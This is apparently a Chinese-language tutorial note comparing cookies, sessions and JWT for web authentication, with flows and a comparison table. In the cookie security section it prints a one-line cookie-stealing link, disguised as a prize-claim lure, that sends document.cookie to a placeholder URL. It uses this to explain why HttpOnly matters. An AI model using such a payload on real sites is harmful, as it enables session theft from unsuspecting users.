網頁的身份驗證機制
簡介
- HTTP 是一個無狀態協議(stateless),不會記住使用者是誰
- 而是把每一次收到的請求都視為獨立的行為
- 當需要記住使用者的狀態時,就需要某種機制來辨識用戶
快速比較
Cookie | Session | JWT | |
---|---|---|---|
儲存位置 | 用戶端(瀏覽器) | 伺服器 | 用戶端(local storage or cookie) |
安全性 | 相對較低,可以被使用者修改或刪除,可使用 Secure 和 HttpOnly 屬性增加安全性 | 相對較高,使用者無法修改或刪除 | 較安全,使用加密算法保護數據 |
過期時間 | 通常會設定一段時間後就過期 | 通常會設定一段時間後就過期 | 可以在伺服器設定過期時間或使用 refresh token 延長時效性 |
資料傳送方式 | 在 http request 裡的 header | 在 http request 裡的 Header,傳送 session id 回伺服器 | 在 http request 裡的 Header 或 url(不安全) |
使用場景 | 偏向於紀錄簡單的資訊,如用戶偏好、購物車資訊 | 適合存放較多的用戶資訊,如用戶 ID、權限等 | 適合在不同的伺服器之間共享身份驗證資訊 |
cookie
是什麼
- 是伺服器傳送給瀏覽器,並在用戶端下次訪問同一網站時,一同傳回的一小段文字資訊
- 以 key-value 的方式儲存在瀏覽器內
特性
- 保存在用戶端
- 例如儲存使用者的偏好設定、購物車資料等
- 通常不會儲存隱私相關的機密資訊
- 有大小數量限制,單個 Cookie 最大 4K,一個網域下最多 20 個
可自訂到期時間
Session Cookie
- 瀏覽器關閉即清除
Persistent Cookie
- 可以設定存在瀏覽器一段時間(明確指定 Cookie 的 Expires 時間)
安全性
- 在網站上動態渲染任意 HTML 是很危險的,容易導致 XSS 攻擊
- 可以加上
http only
限制只有 http 協議可以讀取,無法被 Javascript 取得
範例:偷走你的 cookie (儲存的帳密等等機密資料)
<a href="javascript:location.href='url'+ document.cookie">恭喜中獎,點我前往領獎</a>
session
是什麼
- 在伺服器端儲存用戶資訊的一種方案
- 通常會在客戶端的 Cookie 儲存憑證(session ID)
特性
- 將使用者相關資訊儲存在伺服器,避免被任意修改
- 在使用者完成身分認證並輸入完所需訊息之後,給予一組特定 ID,存入 Cookie 中傳回用戶端
- 下一次用戶端發出請求時,便可以利用該 ID 去辨識是否為同一使用者
- 需要在伺服器端儲存相關的 session 資訊,包括使用者身份、過期時間等等
- 每次發出請求時,需要頻繁在伺服器端比對 Session ID 和使用者資料
需注意的缺點
- 增加伺服器的開銷,隨著用戶數量增加,需要儲存的 session 所佔用的資源也會跟著增加
- 伺服器的擴展性差,如果使用者的 session 儲存在 Server A 上,每次請求都需要 Server A 處理
- 通常有多台伺服器時,會備份資料以防某一台伺服器故障,這樣就必須保證每台伺服器上的使用者 session 資料是一致的
驗證流程
- 當使用者第一次訪問網站時,伺服器會建立一個唯一的 session ID,並將其儲存到伺服器端的記憶體或資料庫中
- 伺服器會將此 session ID 回傳給瀏覽器,通常是透過 Cookie 的方式儲存
- 當使用者繼續訪問網站時,瀏覽器會將此 session ID 傳回給伺服器
- 伺服器會從記憶體或資料庫中尋找此 session ID 對應的使用者狀態,如果找不到就視為未經驗證的訪問
- 如果伺服器找到了對應的使用者狀態,就代表此訪問是合法的,並根據使用者狀態進行相應的操作,比如回傳網頁內容或者進行其他的處理
JWT (Json Web Token)
是什麼
- token-based 機制的其中一種實作,以 JSON 物件為主體
- 通常用於驗證使用者的身份(Authorization)
- 每次發出需要權限的請求時要帶上給伺服器驗證
組成
- header:類型、算法,使用 base64 編碼轉換
{ "type": "JWT", "alg": "HS256"}
- payload:使用者相關的資訊
{ "name": "Jack", "grade": "3rd", "identity": "student"}
- signature:base64 編譯後的 Header、Payload 與密鑰(secret key)透過雜湊演算法所產生
特性
- 保存在用戶端(瀏覽器)
- 一般不會把機密資訊(例如密碼)放在 payload 當中,因為 base64 編碼不是加密
- 回傳至伺服器只檢查簽名是否正確,不需儲存用戶資料,可減輕伺服器的負擔
- 不用在 Server 的資料庫存放 Session,特別適合多台 Server 的情境下,使得擴展性容易
驗證流程
- 客戶端向伺服器端發送請求,並在 request header 中加入 JWT Token
- 伺服器端接收到請求後,從 request header 中讀取 JWT Token
- 伺服器端對 JWT Token 進行驗證,包括驗證簽名是否正確、是否過期、是否被篡改等
- 驗證成功後,伺服器端可以透過 JWT Token 中的內容,確認使用者的身份,並進行相應的處理
- 驗證失敗則拒絕請求,或者返回錯誤訊息
參考資料
# Web